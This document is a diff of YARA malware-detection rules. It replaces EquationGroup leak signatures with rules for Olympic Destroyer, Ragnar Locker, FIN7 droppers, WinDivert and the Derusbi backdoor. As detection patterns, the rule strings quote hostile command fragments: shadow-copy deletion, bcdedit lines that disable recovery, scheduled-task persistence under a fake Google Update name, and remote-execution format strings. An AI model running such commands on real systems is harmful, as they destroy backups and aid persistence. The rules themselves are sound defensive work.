-		logic_hash = "faeac75104a15cac8528663a82eadbc7bc22cc0a1d1a3b3dfccb6ea46fb24a67"
+		reference = "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_olympic_destroyer.yar#L13-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1f7a41c5a7e812e0e26b346cc6465290b17aff31620cbcf6e01c569d8eea2dbd"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "444979a2387530c8fbbc5ddb075b15d6a4717c3435859955f37ebc0f40a4addc"
-		hash2 = "92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34"
-		hash3 = "108243f61c53f00f8f1adcf67c387a8833f1a2149f063dd9ef29205c90a3c30a"
+		hash1 = "ae9a4e244a9b3c77d489dee8aeaf35a7c3ba31b210e76d81ef2e91790f052c85"
 
 	strings:
-		$s1 = "NtErrorMoreProcessingRequired" fullword ascii
-		$s2 = "Command Format Error: Error=%x" fullword ascii
-		$s3 = "NtErrorPasswordRestriction" fullword ascii
-		$op0 = { 8a 85 58 ff ff ff 88 43 4d }
+		$x1 = "/set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no" fullword wide
+		$x2 = "delete shadows /all /quiet" fullword wide
+		$x3 = "delete catalog -quiet" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <100KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Eternalromance_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Olympicdestroyer_Gen2 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects Olympic Destroyer malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "40066023-ede9-5669-8b4d-a26a693d8818"
-		date = "2017-04-15"
+		id = "8d0cbb7b-6650-53ed-8d58-176f8b4af880"
+		date = "2018-02-12"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1872-L1889"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "481a08bc73ac66245c0712599a61cccdf5127276a09a67cf894f76b7763c5c9b"
+		reference = "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_olympic_destroyer.yar#L30-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1bcf0e95d9de62271a09f6ac64ce65debc91e541e1fccfe5c31661466c00bd5e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d"
-		hash2 = "b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b"
-		hash3 = "92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34"
+		hash1 = "d934cb8d0eadb93f8a57a9b8853c5db218d5db78c16a35f374e413884d915016"
+		hash2 = "3e27b6b287f0b9f7e85bfe18901d961110ae969d58b44af15b1d75be749022c2"
+		hash3 = "edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9"
+		hash4 = "28858cc6e05225f7d156d1c6a21ed11188777fa0a752cb7b56038d79a88627cc"
 
 	strings:
-		$x1 = "[+] Backdoor shellcode written" fullword ascii
-		$x2 = "[*] Attempting exploit method %d" fullword ascii
+		$x1 = "cmd.exe /c (ping 0.0.0.0 > nul) && if exist %programdata%\\evtchk.txt" fullword wide
+		$x2 = "cmd.exe /c (echo strPath = Wscript.ScriptFullName & echo.Set FSO = CreateObject^(\"Scripting.FileSystemObject\"^)" wide
+		$x3 = "del %programdata%\\evtchk.txt" fullword wide
+		$x4 = "Pyeongchang2018.com\\svc_all_swd_installc" fullword ascii
+		$s1 = "<STARTCRED>" fullword wide
+		$s2 = "SELECT ds_cn FROM ds_computer" fullword wide
+		$s3 = "\\system32\\notepad.exe" wide
+		$s4 = "%s \\\\%s -u \"%s\" -p \"%s\" -accepteula -d %s %s \"%s\"" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <5000KB and (pe.imphash()=="fd7200dcd5c0d9d4d277a26d951210aa" or pe.imphash()=="975087e9286238a80895b195efb3968d" or pe.imphash()=="da1c2d7acfe54df797bfb1f470257bc3" or 1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Emphasismine : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_RANSOM_Ragna_Locker_Apr20_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects Ragna Locker Ransomware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc684f39-4971-52e0-b5ec-d28c7ce7032b"
-		date = "2017-04-15"
+		id = "67164cb4-73b7-5c4e-88f9-42379b88c641"
+		date = "2020-04-27"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1891-L1910"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "20ec32f5e9e439fb212985d5ae104ae5742231f594423cd125a9e64ed6eb234a"
+		reference = "https://otx.alienvault.com/indicator/file/c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_ragna_locker.yar#L3-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "05a18818f22c836c3e1f1fa9682d787bbe86e6d3bb026a80a7d4c33ad95c2cd3"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "dcaf91bd4af7cc7d1fb24b5292be4e99c7adf4147892f6b3b909d1d84dd4e45b"
-		hash2 = "348eb0a6592fcf9da816f4f7fc134bcae1b61c880d7574f4e19398c4ea467f26"
+		hash1 = "c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6"
 
 	strings:
-		$x1 = "Error: Could not calloc() for shellcode buffer" fullword ascii
-		$x2 = "shellcodeSize: 0x%04X + 0x%04X + 0x%04X = 0x%04X" fullword ascii
-		$x3 = "Generating shellcode" fullword ascii
-		$x4 = "([0-9a-zA-Z]+) OK LOGOUT completed" fullword ascii
-		$x5 = "Error: Domino is not the expected version. (%s, %s)" fullword ascii
+		$x1 = "---RAGNAR SECRET---" ascii
+		$xc1 = { 0D 0A 25 73 0D 0A 0D 0A 25 73 0D 0A 25 73 0D 0A
+               25 73 0D 0A 0D 0A 25 73 0D 0A 00 00 2E 00 72 00
+               61 00 67 00 6E 00 61 00 72 00 5F }
+		$xc2 = { 00 2D 00 66 00 6F 00 72 00 63 00 65 00 00 00 00
+               00 57 00 69 00 6E 00 53 00 74 00 61 00 30 00 5C
+               00 44 00 65 00 66 00 61 00 75 00 6C 00 74 00 00
+               00 5C 00 6E 00 6F 00 74 00 65 00 70 00 61 00 64
+               00 2E 00 65 00 78 00 65 00 }
+		$s1 = "bootfont.bin" wide fullword
+		$sc2 = { 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 00
+               00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 2E
+               00 6F 00 6C 00 64 00 00 00 54 00 6F 00 72 00 20
+               00 62 00 72 00 6F 00 77 00 73 00 65 00 72 00 }
+		$op1 = { c7 85 58 ff ff ff 55 00 6b 00 c7 85 5c ff ff ff }
+		$op2 = { 50 c7 85 7a ff ff ff 5c }
+		$op3 = { 8b 75 08 8a 84 0d 20 ff ff ff ff 45 08 32 06 8b }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*) or 4 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Eternalromance : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Ransom_Ragnarlocker_July_2020_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "40066023-ede9-5669-8b4d-a26a693d8818"
-		date = "2017-04-15"
+		description = "Detects Ragnarlocker by strings (July 2020)"
+		author = "Arkbird_SOLG"
+		id = "60e09057-d9f8-5e89-8f47-c5dda32806c6"
+		date = "2020-07-30"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1912-L1930"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "757740038b9b1e1d099bb208104e9f48e7eb57ffb2de09e83c66df7914b816cb"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1288797666688851969"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_ragna_locker.yar#L38-L70"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dc44da2f9023e0702afa8081e85ba817ebfde15f449261fae9de729d51262b04"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d"
-		hash2 = "b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b"
+		hash1 = "04c9cc0d1577d5ee54a4e2d4dd12f17011d13703cdd0e6efd46718d14fd9aa87"
 
 	strings:
-		$x1 = "[-] Error: Exploit choice not supported for target OS!!" fullword ascii
-		$x2 = "Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed" fullword ascii
-		$x3 = "[-] Error: Backdoor not present on target" fullword ascii
-		$x4 = "***********    TARGET ARCHITECTURE IS X64    ************" fullword ascii
+		$f1 = "bootfont.bin" fullword wide
+		$f2 = "bootmgr.efi" fullword wide
+		$f3 = "bootsect.bak" fullword wide
+		$r1 = "$!.txt" fullword wide
+		$r2 = "---BEGIN KEY R_R---" fullword ascii
+		$r3 = "!$R4GN4R_" wide
+		$r4 = "RAGNRPW" fullword ascii
+		$r5 = "---END KEY R_R---" fullword ascii
+		$a1 = "+RhRR!-uD8'O&Wjq1_P#Rw<9Oy?n^qSP6N{BngxNK!:TG*}\\|W]o?/]H*8z;26X0" fullword ascii
+		$a2 = "\\\\.\\PHYSICALDRIVE%d" fullword wide
+		$a3 = "WinSta0\\Default" fullword wide
+		$a4 = "%s-%s-%s-%s-%s" fullword wide
+		$a5 = "SOFTWARE\\Microsoft\\Cryptography" fullword wide
+		$c1 = "-backup" fullword wide
+		$c2 = "-force" fullword wide
+		$c3 = "-vmback" fullword wide
+		$c4 = "-list" fullword wide
+		$s1 = ".ragn@r_" wide
+		$s2 = "\\notepad.exe" wide
+		$s3 = "Opera Software" fullword wide
+		$s4 = "Tor browser" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them ) or 2 of them
+		uint16(0)==0x5a4d and filesize <30KB and (pe.imphash()=="2c2aab89a4cba444cf2729e2ed61ed4f" and ((2 of ($f*)) and (3 of ($r*)) and (4 of ($a*)) and (2 of ($c*)) and (2 of ($s*))))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Gen4 : FILE
+rule SIGNATURE_BASE_FIN7_Dropper_Aug17 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects Word Dropper from Proofpoint FIN7 Report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f935c942-02a4-59b3-89ce-e5e3fa1cacda"
-		date = "2017-04-15"
+		id = "4929dff6-9f33-5d22-b560-c2195440a1cc"
+		date = "2017-08-04"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1932-L1963"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "68a85b4109a2222dce0625aae8a55541206b9275236232e5049e5b4ee28d8e52"
+		reference = "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7_backdoor.yar#L12-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "610b7288e08d36858de88abac3a86dcb6ebba1c019e17fb716f5c26aa964903b"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "fe7ce2fdb245c62e4183c728bc97e966a98fdc8ffd795ed09da23f96e85dcdcd"
-		hash2 = "0989bfe351342a7a1150b676b5fd5cbdbc201b66abcb23137b1c4de77a8f61a6"
-		hash3 = "270850303e662be53d90fa60a9e5f4bd2bfb95f92a046c77278257631d9addf4"
-		hash4 = "7a086c0acb6df1fa304c20733f96e898d21ca787661270f919329fadfb930a6e"
-		hash5 = "c236e0d9c5764f223bd3d99f55bd36528dfc0415e14f5fde1e5cdcada14f4ec0"
-		hash6 = "9d98e044eedc7272823ba8ed80dff372fde7f3d1bece4e5affb21e16f7381eb2"
-		hash7 = "dfce29df4d198c669a87366dd56a7426192481d794f71cd5bb525b08132ed4f7"
-		hash8 = "87fdc6c32b9aa8ae97c7efbbd5c9ae8ec5595079fc1488f433beef658efcb4e9"
-		hash9 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
-		hash10 = "d94b99908f528fa4deb56b11eac29f6a6e244a7b3aac36b11b807f2f74c6d8be"
-		hash11 = "4b07d9d964b2c0231c1db7526237631bb83d0db80b3c9574cc414463703462d3"
-		hash12 = "30b63abde1e871c90df05137ec08df3fa73dedbdb39cb4bd2a2df4ca65bc4e53"
-		hash13 = "02c1b08224b7ad4ac3a5b7b8e3268802ee61c1ec30e93e392fa597ae3acc45f7"
-		hash14 = "690f09859ddc6cd933c56b9597f76e18b62a633f64193a51f76f52f67bc2f7f0"
+		hash1 = "c91642c0a5a8781fff9fd400bff85b6715c96d8e17e2d2390c1771c683c7ead9"
+		hash2 = "cf86c7a92451dca1ebb76ebd3e469f3fa0d9b376487ee6d07ae57ab1b65a86f8"
 
 	strings:
-		$x1 = "[+] \"TargetPort\"      %hu" fullword ascii
-		$x2 = "---<<<  Complete  >>>---" fullword ascii
-		$x3 = "[+] \"NetworkTimeout\"  %hu" fullword ascii
-		$op1 = { 46 83 c4 0c 83 fe 0c 0f 8c 5e ff ff ff b8 }
+		$x1 = "tpircsj:e/ b// exe.tpircsw\" rt/" fullword ascii
+		$s1 = "Scripting.FileSystemObject$" fullword ascii
+		$s2 = "PROJECT.THISDOCUMENT.AUTOOPEN" fullword wide
+		$s3 = "Project.ThisDocument.AutoOpen" fullword wide
+		$s4 = "\\system3" ascii
+		$s5 = "ShellV" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <150KB and (1 of ($x*) or 2 of them ))
+		( uint16(0)==0xcfd0 and filesize <700KB and 1 of ($x*) or all of ($s*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Gen1 : FILE
+rule SIGNATURE_BASE_FIN7_Backdoor_Aug17 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects Word Dropper from Proofpoint FIN7 Report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "98b0a398-7761-5506-bd2f-117c118df11f"
-		date = "2017-04-15"
+		id = "906daf88-520b-57b5-825e-29f060b43183"
+		date = "2017-08-04"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1965-L1984"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cd40d51ba26706517dae332d84f574eb206a424693cfb586375695e364990b5d"
+		reference = "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7_backdoor.yar#L34-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "76818317c543c1464898463741ddaf8c6368d0f5004c088a323c4323db49060c"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "1b5b33931eb29733a42d18d8ee85b5cd7d53e81892ff3e60e2e97f3d0b184d31"
-		hash2 = "139697168e4f0a2cc73105205c0ddc90c357df38d93dbade761392184df680c7"
 
 	strings:
-		$x1 = "Restart with the new protocol, address, and port as target." fullword ascii
-		$x2 = "TargetPort      : %s (%u)" fullword ascii
-		$x3 = "Error: strchr() could not find '@' in account name." fullword ascii
-		$x4 = "TargetAcctPwd   : %s" fullword ascii
-		$x5 = "Creating CURL connection handle..." fullword ascii
+		$x1 = "wscript.exe //b /e:jscript C:\\Users\\" ascii
+		$x2 = "wscript.exe /b /e:jscript C:\\Users\\" ascii
+		$x3 = "schtasks /Create /f /tn \"GoogleUpdateTaskMachineSystem\" /tr \"wscript.exe" ascii nocase
+		$x4 = "schtasks /Delete /F /TN \"\"GoogleUpdateTaskMachineCore" ascii nocase
+		$x5 = "schtasks /Delete /F /TN \"GoogleUpdateTaskMachineCore" ascii nocase
+		$x6 = "wscript.exe //b /e:jscript %TMP%\\debug.txt" ascii
+		$s1 = "/?page=wait" fullword ascii
+		$a1 = "autoit3.exe" fullword ascii
+		$a2 = "dumpcap.exe" fullword ascii
+		$a3 = "tshark.exe" fullword ascii
+		$a4 = "prl_cc.exe" fullword ascii
+		$v1 = "vmware" fullword ascii
+		$v2 = "PCI\\\\VEN_80EE&DEV_CAFE" fullword ascii
+		$v3 = "VMWVMCIHOSTDEV" fullword ascii
+		$c1 = "apowershell" fullword ascii
+		$c2 = "wpowershell" fullword ascii
+		$c3 = "get_passwords" fullword ascii
+		$c4 = "kill_process" fullword ascii
+		$c5 = "get_screen" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <5000KB and (1 of ($x*) or all of ($a*) or all of ($v*) or 3 of ($c*))) or 5 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Gen2 : FILE
+rule SIGNATURE_BASE_Windivert_Driver : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects WinDivert User-Mode packet capturing driver"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e47de7dd-8a37-5d0d-9af2-2a30fa000b05"
-		date = "2017-04-15"
+		id = "95e89577-bb5a-5391-9130-155746d4783f"
+		date = "2017-10-02"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1986-L2012"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2c0833e92e23d595ebcf4af042febc44fba594356a647eb98e48b6fabf018d72"
-		score = 75
+		reference = "https://www.reqrypt.org/windivert.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_pua.yar#L1-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "db2933396e015e906114bd04f75a5b5caf0564494224f533a6e00c1fa5421568"
+		score = 40
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "7fe425cd040608132d4f4ab2671e04b340a102a20c97ffdcf1b75be43a9369b5"
-		hash2 = "561c0d4fc6e0ff0a78613d238c96aed4226fbb7bb9ceea1d19bc770207a6be1e"
-		hash3 = "f2e90e04ddd05fa5f9b2fec024cd07365aebc098593d636038ebc2720700662b"
-		hash4 = "8f7e10a8eedea37ee3222c447410fd5b949bd352d72ef22ef0b2821d9df2f5ba"
+		hash1 = "33c657fa27b92cfcced66b331cfea7a880460a98cf037e4277faa1420fe59d1c"
+		hash2 = "9b834e8f9d117bf2c564a37434973dc0717270ebfac8d8251711905d18da3858"
+		hash3 = "5ef707ea68a9bd3a3e568793a0f7d66d166694801ada067d9ebac1d13e53153e"
+		hash4 = "df12afa691e529f01c75b3dd734f6b45bf1488dbf90ced218657f0d205bff319"
 
 	strings:
-		$s1 = "[+] Setting password : (NULL)" fullword ascii
-		$s2 = "[-] TbBuffCpy() failed!" fullword ascii
-		$s3 = "[+] SMB negotiation" fullword ascii
-		$s4 = "12345678-1234-ABCD-EF00-0123456789AB" fullword ascii
-		$s5 = "Value must end with 0000 (2 NULLs)" fullword ascii
-		$s6 = "[*] Configuring Payload" fullword ascii
-		$s7 = "[*] Connecting to listener" fullword ascii
-		$op1 = { b0 42 40 00 89 44 24 30 c7 44 24 34 }
-		$op2 = { eb 59 8b 4c 24 10 68 1c 46 }
+		$s1 = "WinDivertDllEntry" fullword ascii
+		$s2 = "WinDivertHelperParseIPv4Address" fullword ascii
+		$s3 = "WinDivert (web: http://reqrypt.org/windivert.html)" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and 1 of ($s*) and 1 of ($op*)) or 3 of them
+		( uint16(0)==0x5a4d and filesize <80KB and 1 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Gen3 : FILE
+rule SIGNATURE_BASE_Apt_Nix_Elf_Derusbi_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7951fac1-9d5f-5991-a19a-88f3c8402e39"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2014-L2042"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "99b293d441fd27a6295e6a93123cf45e787472fb61575d566e7b4e0c61226fdb"
+		description = "Detects Derusbi Backdoor ELF"
+		author = "Fidelis Cybersecurity"
+		id = "c825c5d6-1c2f-5ee7-871e-4be3f41d73f7"
+		date = "2016-02-29"
+		modified = "2023-05-04"
+		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turbo_campaign.yar#L1-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "61ef65a1500d3def3376a82bc376db451d202d18b03855ee279b6c01757deb2a"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "270850303e662be53d90fa60a9e5f4bd2bfb95f92a046c77278257631d9addf4"
-		hash2 = "7a086c0acb6df1fa304c20733f96e898d21ca787661270f919329fadfb930a6e"
-		hash3 = "c236e0d9c5764f223bd3d99f55bd36528dfc0415e14f5fde1e5cdcada14f4ec0"
-		hash4 = "9d98e044eedc7272823ba8ed80dff372fde7f3d1bece4e5affb21e16f7381eb2"
-		hash5 = "dfce29df4d198c669a87366dd56a7426192481d794f71cd5bb525b08132ed4f7"
-		hash6 = "87fdc6c32b9aa8ae97c7efbbd5c9ae8ec5595079fc1488f433beef658efcb4e9"
-		hash7 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
-		hash8 = "d94b99908f528fa4deb56b11eac29f6a6e244a7b3aac36b11b807f2f74c6d8be"
-		hash9 = "4b07d9d964b2c0231c1db7526237631bb83d0db80b3c9574cc414463703462d3"
-		hash10 = "30b63abde1e871c90df05137ec08df3fa73dedbdb39cb4bd2a2df4ca65bc4e53"
-		hash11 = "02c1b08224b7ad4ac3a5b7b8e3268802ee61c1ec30e93e392fa597ae3acc45f7"
-		hash12 = "690f09859ddc6cd933c56b9597f76e18b62a633f64193a51f76f52f67bc2f7f0"
 
 	strings:
-		$s1 = "Logon failed.  Kerberos ticket not yet valid (target and KDC times not synchronized)" fullword ascii
-		$s2 = "[-] Could not set \"CredentialType\"" fullword ascii
-		$op1 = { 46 83 c4 0c 83 fe 0c 0f 8c 5e ff ff ff b8 }
+		$s1 = "LxMain"
+		$s2 = "execve"
+		$s3 = "kill"
+		$s4 = "cp -a %s %s"
+		$s5 = "%s &"
+		$s6 = "dbus-daemon"
+		$s7 = "--noprofile"
+		$s8 = "--norc"
+		$s9 = "TERM=vt100"
+		$s10 = "/proc/%u/cmdline"
+		$s11 = "loadso"
+		$s12 = "/proc/self/exe"
+		$s13 = "Proxy-Connection: Keep-Alive"
+		$s14 = "Connection: Keep-Alive"
+		$s15 = "CONNECT %s"
+		$s16 = "HOST: %s:%d"
+		$s17 = "User-Agent: Mozilla/4.0"
+		$s18 = "Proxy-Authorization: Basic %s"
+		$s19 = "Server: Apache"
+		$s20 = "Proxy-Authenticate"
+		$s21 = "gettimeofday"
+		$s22 = "pthread_create"
+		$s23 = "pthread_join"
+		$s24 = "pthread_mutex_init"
+		$s25 = "pthread_mutex_destroy"
+		$s26 = "pthread_mutex_lock"
+		$s27 = "getsockopt"
+		$s28 = "socket"
+		$s29 = "setsockopt"
+		$s30 = "select"
+		$s31 = "bind"
+		$s32 = "shutdown"
+		$s33 = "listen"
+		$s34 = "opendir"
+		$s35 = "readdir"
+		$s36 = "closedir"
+		$s37 = "rename"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <150KB and 2 of them )
+		uint32(0)==0x464c457f and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Yak : FILE
+rule SIGNATURE_BASE_Apt_Nix_Elf_Derusbi_Kernelmodule_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e5562d1a-7980-5fb8-b098-2e26003fb159"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2054-L2070"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "69b9514508f557376d876262793e5650289abfeeeee8b5ca9beaf42f3ec4d64c"
+		description = "Detects Derusbi Backdoor ELF Kernel Module"
+		author = "Fidelis Cybersecurity"
+		id = "98196ffc-8a6f-5edc-a688-eeb449410b72"
+		date = "2016-02-29"
+		modified = "2023-05-04"
+		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
